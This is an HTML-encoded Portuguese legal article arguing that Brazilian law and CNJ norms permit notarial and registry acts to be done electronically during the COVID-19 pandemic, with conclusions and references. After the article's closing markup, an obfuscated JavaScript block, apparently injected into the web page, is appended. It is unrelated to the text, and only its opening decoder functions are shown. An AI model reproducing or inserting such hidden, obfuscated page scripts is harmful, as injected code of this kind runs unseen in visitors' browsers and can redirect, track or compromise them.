senten\u00e7as e a ementa dos ac\u00f3rd\u00e3os ser\u00e3o publicados no Di\u00e1rio de Justi\u00e7a Eletr\u00f4nico\u201d (art. 203,\u00a73\u00ba), e que \u201cos atos e os termos do processo ser\u00e3o assinados pelas pessoas que neles intervierem, todavia [&#8230;] quando se tratar de processo total ou parcialmente documentado em autos eletr\u00f4nicos, os atos processuais praticados na presen\u00e7a do juiz poder\u00e3o ser produzidos e armazenados de modo integralmente digital em arquivo eletr\u00f4nico inviol\u00e1vel, na forma da lei, mediante registro em termo, que ser\u00e1 assinado digitalmente pelo juiz e pelo escriv\u00e3o ou chefe de secretaria, bem como pelos advogados das partes\u201d (art. 209,\u00a71\u00ba) (grifei).<\/p>\n<p>Regula ainda que \u201ca pr\u00e1tica eletr\u00f4nica de ato processual pode ocorrer em qualquer hor\u00e1rio at\u00e9 as 24 (vinte e quatro) horas do \u00faltimo dia do prazo\u201d (art. 213), que \u201ca cita\u00e7\u00e3o ser\u00e1 feita [&#8230;] por meio eletr\u00f4nico, conforme regulado em lei\u201d (art. 246, V), que \u201ca audi\u00eancia de concilia\u00e7\u00e3o ou de media\u00e7\u00e3o pode realizar-se por meio eletr\u00f4nico, nos termos da lei\u201d (art. 334, \u00a77\u00ba), e que \u201ca audi\u00eancia poder\u00e1 ser integralmente gravada em imagem e em \u00e1udio, em meio digital ou anal\u00f3gico, desde que assegure o r\u00e1pido acesso das partes e dos \u00f3rg\u00e3os julgadores, observada a legisla\u00e7\u00e3o espec\u00edfica\u201d (art. 367,\u00a75\u00ba) (grifei).<\/p>\n<p>Trata tamb\u00e9m da \u201cexist\u00eancia e o modo de existir de algum fato podem ser atestados ou documentados, a requerimento do interessado, mediante ata lavrada por tabeli\u00e3o [&#8230;] dados representados por imagem ou som gravados em arquivos eletr\u00f4nicos poder\u00e3o constar da ata notarial\u201d (art. 384, P. \u00danico), e que \u201cconsidera-se aut\u00eantico o documento quando [&#8230;] II &#8211; a autoria estiver identificada por qualquer outro meio legal de certifica\u00e7\u00e3o, inclusive eletr\u00f4nico, nos termos da lei\u201d (art. 411) (grifei).<\/p>\n<p>Disp\u00f5e tamb\u00e9m que \u201ca utiliza\u00e7\u00e3o de documentos eletr\u00f4nicos no processo convencional depender\u00e1 de sua convers\u00e3o \u00e0 forma impressa e da verifica\u00e7\u00e3o de sua autenticidade, na forma da lei\u201d (art. 439), que \u201co juiz apreciar\u00e1 o valor probante do documento eletr\u00f4nico n\u00e3o convertido, assegurado \u00e0s partes o acesso ao seu teor\u201d (art. 440), que \u201cser\u00e3o admitidos documentos eletr\u00f4nicos produzidos e conservados com a observ\u00e2ncia da legisla\u00e7\u00e3o espec\u00edfica\u201d (art. 441), e que \u201ca aliena\u00e7\u00e3o judicial por meio eletr\u00f4nico dever\u00e1 atender aos requisitos de ampla publicidade, autenticidade e seguran\u00e7a, com observ\u00e2ncia das regras estabelecidas na legisla\u00e7\u00e3o sobre certifica\u00e7\u00e3o digital\u201d (art. 882, \u00a72\u00ba) (grifei).<\/p>\n<p>A legisla\u00e7\u00e3o adjetiva processual penal (C\u00f3digo de Processo Penal) permite que \u201co leil\u00e3o far-se-\u00e1 preferencialmente por meio eletr\u00f4nico\u201d (art. 144-A, \u00a71\u00ba), que \u201cas comunica\u00e7\u00f5es ao ofendido dever\u00e3o ser feitas no endere\u00e7o por ele indicado, admitindo-se, por op\u00e7\u00e3o do ofendido, o uso de meio eletr\u00f4nico\u201d (art. 201, \u00a73\u00ba), e que \u201cs\u00e3o medidas cautelares diversas da pris\u00e3o [&#8230;] a monitora\u00e7\u00e3o eletr\u00f4nica\u201d (art. 319, IX) (grifei).<\/p>\n<p>Estabelece ainda o C\u00f3digo de Processo Penal que \u201csempre que poss\u00edvel, o registro dos depoimentos do investigado, indiciado, ofendido e testemunhas ser\u00e1 feito pelos meios ou recursos de grava\u00e7\u00e3o magn\u00e9tica, estenotipia, digital ou t\u00e9cnica similar, inclusive audiovisual, destinada a obter maior fidelidade das informa\u00e7\u00f5es (art. 405, \u00a71\u00ba)\u201d, e que \u201co registro dos depoimentos e do interrogat\u00f3rio ser\u00e1 feito pelos meios ou recursos de grava\u00e7\u00e3o magn\u00e9tica, eletr\u00f4nica, estenotipia ou t\u00e9cnica similar, destinada a obter maior fidelidade e celeridade na colheita da prova\u201d (art. 475) (grifei).<\/p>\n<p>A respeito dos atos processuais em audi\u00eancia, a Resolu\u00e7\u00e3o CNJ n. 314\/2020 refor\u00e7ou as disposi\u00e7\u00f5es ventiladas acima, pois enfatizou que \u201cpara realiza\u00e7\u00e3o de atos virtuais por meio de videoconfer\u00eancia est\u00e1 assegurada a utiliza\u00e7\u00e3o por todos ju\u00edzos e tribunais da ferramenta Cisco Webex, disponibilizada pelo Conselho Nacional de Justi\u00e7a por meio de seu s\u00edtio eletr\u00f4nico na internet\u201d (art. 6\u00ba, \u00a72\u00ba) (grifei).<\/p>\n<p>Mas n\u00e3o \u00e9 s\u00f3, a Medida Provis\u00f3ria n. 2.200-2\/2001, que pode ser considerado o ponto de partida no Brasil na pr\u00e1tica de atos eletr\u00f4nicos em substitui\u00e7\u00e3o ao sistema antigo de papel e assinaturas com reconhecimento de firmas, instituiu a Infra-Estrutura de Chaves P\u00fablicas Brasileira (ICP-Brasil) no intuito de \u201cgarantir a autenticidade, a integridade e a validade jur\u00eddica de documentos em forma eletr\u00f4nica, das aplica\u00e7\u00f5es de suporte e das aplica\u00e7\u00f5es habilitadas que utilizem certificados digitais, bem como a realiza\u00e7\u00e3o de transa\u00e7\u00f5es eletr\u00f4nicas seguras\u201d. E mais, ainda que de forma incipiente, definiu que \u201cconsideram-se documentos p\u00fablicos ou particulares, para todos os fins legais, os documentos eletr\u00f4nicos de que trata esta Medida Provis\u00f3ria\u201d (grifei).<\/p>\n<p>O Marco Civil da Internet (Lei n. 12.965\/2014) tamb\u00e9m propicia a pr\u00e1tica de atos eletr\u00f4nicos pelo servi\u00e7o extrajudicial, j\u00e1 que \u201cestabelece princ\u00edpios, garantias, direitos e deveres para o uso da internet no Brasil e determina as diretrizes para atua\u00e7\u00e3o da Uni\u00e3o, dos Estados, do Distrito Federal e dos Munic\u00edpios em rela\u00e7\u00e3o \u00e0 mat\u00e9ria\u201d (grifei).<\/p>\n<p>Por fim, o Provimento CNJ n. 74\/2018, da Corregedoria Nacional de Justi\u00e7a, vislumbrando a inevit\u00e1vel incurs\u00e3o dos servi\u00e7os extrajudiciais na presta\u00e7\u00e3o de servi\u00e7o de modo remoto por atos eletr\u00f4nicos disp\u00f4s \u201csobre padr\u00f5es m\u00ednimos de tecnologia da informa\u00e7\u00e3o para a seguran\u00e7a, integridade e disponibilidade de dados para a continuidade da atividade pelos servi\u00e7os notariais e de registro do Brasil\u201d (grifei).<\/p>\n<p>Em referido provimento foi ponderado que \u201co avan\u00e7o tecnol\u00f3gico, a informatiza\u00e7\u00e3o e a implementa\u00e7\u00e3o de sistemas eletr\u00f4nicos\u201d garante \u201ca realiza\u00e7\u00e3o das atividades notariais e de registro mediante o uso de tecnologias da informa\u00e7\u00e3o e comunica\u00e7\u00e3o\u201d, bem como que \u00e9 necess\u00e1rio \u201cuniformizar a manuten\u00e7\u00e3o de arquivos eletr\u00f4nicos\/m\u00eddia digital de seguran\u00e7a dos livros e documentos que comp\u00f5em o acervo dos servi\u00e7os notariais e de registro\u201d (grifei).<\/p>\n<p>Assim, n\u00e3o h\u00e1 impedimento legal para que os atos sejam praticados de forma eletr\u00f4nica\/digital, ou seja, \u00e9 um caminho sem volta, pois os atos normativos editados recentemente pelo Conselho Nacional de Justi\u00e7a abriram uma porta que n\u00e3o se fechar\u00e1 mais.<\/p>\n<p>Por fim, na incurs\u00e3o da pr\u00e1tica de atos eletr\u00f4nicos\/digitais pelos servi\u00e7os extrajudiciais, n\u00e3o se deve descurar da Compliance Digital. Com efeito, os programas de compliance se constituem em mecanismos e procedimentos internos de integridade, auditoria, incentivo \u00e0 den\u00fancia de irregularidades e a aplica\u00e7\u00e3o efetiva de c\u00f3digos de \u00e9tica e de conduta.<\/p>\n<p>As boas pr\u00e1ticas de governan\u00e7a corporativa e compliance digital constituem um pilar de sustenta\u00e7\u00e3o para a atividade. A prioridade \u00e9 atuar sempre orientado pela \u00e9tica, pela integridade e pela transpar\u00eancia. Para tanto, deve-se cumprir os ditames da Lei n. 12.846\/2013 e do Provimento CNJ n. 74\/2018, pois o esp\u00edrito da atividade extrajudicial de forma eletr\u00f4nica deve priorizar a prote\u00e7\u00e3o dos direitos e o livre desenvolvimento das atividades da popula\u00e7\u00e3o.<\/p>\n<p>Enfim, em uma era de ruptura, a \u00fanica estrat\u00e9gia vi\u00e1vel \u00e9 se adaptar (GRED SATELLI apud MARTINI, 2017).<\/p>\n<p>Considera\u00e7\u00f5es finais A presente investiga\u00e7\u00e3o acad\u00eamica versou sobre o avan\u00e7o da tecnologia e dos atos praticados pelos servi\u00e7os extrajudiciais. A abordagem do tema foi realizada sob o enfoque da pandemia decorrente da COVID-19 e as resolu\u00e7\u00f5es e provimentos editados do Conselho Nacional de Justi\u00e7a.<\/p>\n<p>No primeiro cap\u00edtulo ficou claro que a popula\u00e7\u00e3o brasileira litiga muito, pois conforme estudo do Conselho Nacional de Justi\u00e7a, no final do ano de 2018, existiam 78,7 milh\u00f5es de processos sem solu\u00e7\u00e3o. Diante da alta litigiosidade e do grande n\u00famero de processos sem solu\u00e7\u00e3o, avilta-se o princ\u00edpio constitucional da dura\u00e7\u00e3o razo\u00e1vel do processo, raz\u00e3o pela qual foi constatado que h\u00e1 uma tend\u00eancia ao fomento da desjudicializa\u00e7\u00e3o.<\/p>\n<p>No processo de desjudicializa\u00e7\u00e3o, curial \u00e9 a participa\u00e7\u00e3o dos servi\u00e7os extrajudiciais, devendo ser incentivada a cultura da resolu\u00e7\u00e3o das demandas pelo servi\u00e7o p\u00fablico delegado, evitando-se a judicializa\u00e7\u00e3o de demandas. Concluiu-se, portanto, que, se a resolu\u00e7\u00e3o de lit\u00edgios fora da seara judicial \u00e9 a regra, pois se \u201co direito se realiza mais pelos neg\u00f3cios jur\u00eddicos\u201d praticados de forma extrajudicial, a resolu\u00e7\u00e3o dos conflitos tamb\u00e9m deve ocorrer na mesma via.<\/p>\n<p>No segundo cap\u00edtulo adentrou-se na an\u00e1lise da situa\u00e7\u00e3o emergencial que o mundo passa diante da contamina\u00e7\u00e3o da popula\u00e7\u00e3o pela COVID-19. Constatou-se que \u00e9 louv\u00e1vel a atua\u00e7\u00e3o dos poderes p\u00fablicos em prol da sa\u00fade da popula\u00e7\u00e3o. Em rela\u00e7\u00e3o ao Poder Judici\u00e1rio, constatou-se que foram publicadas resolu\u00e7\u00f5es e provimentos limitando o atendimento ao p\u00fablico, determinou-se o home office aos servidores p\u00fablicos e, no pertinente \u00e0 atividade do servi\u00e7o extrajudicial, foi determinada a pr\u00e1tica de atos de forma eletr\u00f4nica\/digital.<\/p>\n<p>Constatou-se, portanto, que houve uma evolu\u00e7\u00e3o na presta\u00e7\u00e3o do servi\u00e7o extrajudicial, pois da forma tradicional de presta\u00e7\u00e3o de servi\u00e7os (presencial e \u201cpapelizada\u201d), doravante, ao menos em tempo de pandemia (mas se espera que seja uma realidade doravante), houve o rompimento de paradigmas, deixando de lado uma pr\u00e1tica antiga (papel e carimbo) para uma nova e presente realidade (atos e documentos eletr\u00f4nicos\/digitais).<\/p>\n<p>No terceiro e \u00faltimo cap\u00edtulo, constatou-se que os atos normativos publicados pelo Conselho Nacional de Justi\u00e7a fomentaram a pr\u00e1tica dos atos eletr\u00f4nicos\/digitais pelo servi\u00e7o extrajudicial, ou seja, onde outrora haviam d\u00favidas e dissid\u00eancias, agora, diante desse marco, \u00e9 uma realidade.<\/p>\n<p>Com os atos normativos publicados pelo Conselho Nacional de Justi\u00e7a, o servi\u00e7o extrajudicial se emparelha com os atos jurisdicionais praticados pelo Poder Judici\u00e1rio, pois tais atos atualmente s\u00e3o praticados de forma eletr\u00f4nica\/digital (PJe, SEEU e outros sistemas).<\/p>\n<p>Assim, praticando atos eletr\u00f4nicos\/digitais para cumprir a atividade que lhe \u00e9 delegada, o servi\u00e7o extrajudicial cumprir\u00e1 o disposto no artigo 4\u00ba, da Lei n. 8.935\/04 (os servi\u00e7os notariais e de registro ser\u00e3o prestados de forma eficiente e adequado). E mais, o servi\u00e7o extrajudicial se aproximar\u00e1 da popula\u00e7\u00e3o, j\u00e1 que atualmente s\u00e3o \u201c7 bilh\u00f5es de humanoides alucinados nas redes sociais, nos aplicativos de relacionamento ou no com\u00e9rcio para todos os fins\u201d.<\/p>\n<p>Enfim, n\u00e3o h\u00e1 mais volta, pois urge que os servi\u00e7os extrajudiciais desempenhem suas atividades de forma eletr\u00f4nica\/digital, j\u00e1 que possui respaldo tanto na legisla\u00e7\u00e3o substantiva quanto na adjetiva (C\u00f3digo Civil, C\u00f3digo de Processo Civil e C\u00f3digo de Processo Penal), bem como na legisla\u00e7\u00e3o esparsa que adentrou, ainda que lentamente, ao mundo eletr\u00f4nico\/digital (Medida Provis\u00f3ria n. 2.200-2\/2001, Marco Civil da Internet-Lei n. 12.965\/2014).<\/p>\n<p>Notou-se, por fim, que o Conselho Nacional de Justi\u00e7a se preocupou com a seguran\u00e7a na pr\u00e1tica de atos eletr\u00f4nicos\/digital pelos servi\u00e7os extrajudiciais, pois o Provimento CNJ n. 74\/2018, da Corregedoria Nacional de Justi\u00e7a, estabeleceu padr\u00f5es m\u00ednimos de tecnologia de informa\u00e7\u00e3o para a seguran\u00e7a, integridade e disponibilidade de dados.<\/p>\n<p>Portanto, conclui-se que o Brasil vinha a passos lentos para deixar a pr\u00e1tica de atos processuais e extrajudiciais de forma presencial e escritural. Atos normativos vinham sendo publicados regulamentando e fomentando a pr\u00e1tica de atos de forma eletr\u00f4nica\/digital, mas o avan\u00e7o era t\u00edmido mesmo diante da lentid\u00e3o do Poder Judici\u00e1rio em resolver as demandas que lhe s\u00e3o apresentadas.<\/p>\n<p>Diante da situa\u00e7\u00e3o emergencial ocasionada pela COVID-19, o Conselho Nacional de Justi\u00e7a editou atos normativos essenciais para que os atos judiciais e extrajudiciais, de uma vez por todas, fossem praticados por meio eletr\u00f4nico\/digital. A experi\u00eancia mostra que, diante da crise instalada, h\u00e1 uma revolu\u00e7\u00e3o cient\u00edfica e pr\u00e1tica, apresentando novos paradigmas, rompendo os de outrora.<\/p>\n<p>Estamos diante de um novo amanhecer. O Poder Judici\u00e1rio, tanto em sua atividade direta como na delegada, doravante poder\u00e1 apresentar \u00e0 sociedade, que j\u00e1 \u00e9 uma popula\u00e7\u00e3o inserida no ciberespa\u00e7o, uma presta\u00e7\u00e3o de servi\u00e7o de forma eletr\u00f4nica\/digital, segura e eficiente.<\/p>\n<p>Finalizando, ap\u00f3s todo o exposto, volta-se ao problema apresentado inicialmente, qual seja, como dar continuidade \u00e0 presta\u00e7\u00e3o do servi\u00e7o p\u00fablico delegado (atividade notarial e de registro) em \u00e9poca de pandemia e quarentena obrigat\u00f3ria?<\/p>\n<p>A hip\u00f3tese apresentada incialmente foi de que o sistema jur\u00eddico brasileiro, tanto judicial quanto extrajudicial, permite que as atividades sejam desempenhadas em \u00e9poca de pandemia e quarentena obrigat\u00f3ria, pois no primeiro h\u00e1 o processo judicial eletr\u00f4nico e, no segundo, o sistema admite a pr\u00e1tica de atos de forma eletr\u00f4nica de forma segura e eficiente.<\/p>\n<p>Por todo o exposto no estudo acima, n\u00e3o h\u00e1 d\u00favidas, a hip\u00f3tese apresentada ao problema restou confirmada, j\u00e1 que, para dar continuidade \u00e0 presta\u00e7\u00e3o do servi\u00e7o p\u00fablico delegado (atividade notarial e de registro), em \u00e9poca de pandemia e quarentena obrigat\u00f3ria, os servi\u00e7os extrajudiciais podem e devem ser praticados por meio eletr\u00f4nico\/digital.<\/p>\n<p><strong>Refer\u00eancias<\/strong><\/p>\n<p>BRASIL, CC, C\u00f3digo Civil. Dispon\u00edvel em: [www.planalto.gov.br\/ccivil_03\/leis\/2002\/l10406.htm]. Acesso em 20-04-2020, 2002.<\/p>\n<p>BRASIL, CF, Constitui\u00e7\u00e3o da Rep\u00fablica Federativa do Brasil de 1988. Dispon\u00edvel em [http:\/\/www.planalto.gov.br\/ccivil_03\/constituicao\/constituicao.htm]. Acesso em 20-042020, 1988.<\/p>\n<p>BRASIL, CNJ, 2018. Provimento CNJ n. 74\/2018. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/atos_normativos\/]. Acesso em: 20-4-2020. 2018.<\/p>\n<p>BRASIL, CNJ, 2018. Provimento CNJ n. 91\/2020. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/atos_normativos\/]. Acesso em: 20-4-2020. 2020.<\/p>\n<p>BRASIL, CNJ, 2018. Provimento CNJ n. 92\/2020. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/atos_normativos\/]. Acesso em: 20-4-2020. 2020.<\/p>\n<p>BRASIL, CNJ, 2018. Provimento CNJ n. 93\/2020. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/atos_normativos\/]. Acesso em: 20-4-2020. 2020.<\/p>\n<p>BRASIL, CNJ, 2018. Provimento CNJ n. 94\/2020. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/atos_normativos\/]. Acesso em: 20-4-2020. 2020.<\/p>\n<p>BRASIL, CNJ, 2018. Provimento CNJ n. 95\/2020. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/atos_normativos\/]. Acesso em: 20-4-2020. 2020.<\/p>\n<p>BRASIL, CNJ, 2018. Resolu\u00e7\u00e3o CNJ n. 314\/2020. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/wp-content\/uploads\/2020\/04\/Resolu%C3%A7%C3%A3on%C2%BA-314.pdf]. Acesso em: 24-4-2020. 2020.<\/p>\n<p>BRASIL, CNJ, 2019. Justi\u00e7a em n\u00fameros 2019. Dispon\u00edvel em: [https:\/\/www.cnj.jus.br\/wpcontent\/uploads\/conteudo\/arquivo\/2019\/08\/justica_em_numeros20190919.pdf]. Acesso em: 05-11-2019, 2019.<\/p>\n<p>BRASIL, CPC, C\u00f3digo de Processo Civil. Dispon\u00edvel em: [www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2015\/lei\/l13105.htm]. Acesso em 20-042020, 2015.<\/p>\n<p>BRASIL, CPP, C\u00f3digo de Processo Penal. Dispon\u00edvel em [http:\/\/www.planalto.gov.br\/ccivil_03\/decreto-lei\/del3689compilado.htm]. Acesso em 2004-2020, 1941.<\/p>\n<p>CONTRUCCI, Gustavo. O que \u00e9 evolu\u00e7\u00e3o do direito. S\u00e3o Paulo: Brasiliense, Ebook, 2010.<\/p>\n<p>FERREIRA, Paulo Roberto Gaiger; RODRIGUES, Felipe Leonardo. Ata notarial: Doutrina, Pr\u00e1tica e meio de prova. S\u00e3o Paulo: Quartier Latin, 2010.<\/p>\n<p>KUHN, Thomas S. A estrutura das revolu\u00e7\u00f5es cient\u00edficas. S\u00e3o Paulo: Revista dos Tribunais, 2011.<\/p>\n<p>MARTINI, Renato. Sociedade de informa\u00e7\u00e3o: para onde vamos, S\u00e3o Paulo: Trevisan, 2017.<\/p>\n<p>MENDES, Gilmar; BRANCO, Paulo Gustavo Gonet. Curso de direito constitucional. S\u00e3o Paulo: Saraiva, 2015.<\/p>\n<p>&nbsp;<\/p>\n<p>&#8212;&#8212;<\/p>\n<p>1 Informa\u00e7\u00e3o fornecida pela Uni\u00e3o Internacional do Notariado.<\/p>\n<p>2 O Conselho Nacional de Justi\u00e7a reconhece limita\u00e7\u00f5es metodol\u00f3gicas e distor\u00e7\u00f5es quanto ao resultado da pesquisa (BRASIL, CNJ, 2019).<\/p>\n<p>3 Doen\u00e7a infecciosa que afeta um grande n\u00famero de pessoas espalhadas pelo mundo.<\/p>\n<p>4 Provimentos CNJ n. 91, 92, 93, 94 e 95\/2020.<\/p>\n<p>5 Provimentos CNJ n. 93, 94 e 95\/2020.<br \/>\nFonte: Por Marcio Evangelista Ferreira da Silva<\/p><\/div>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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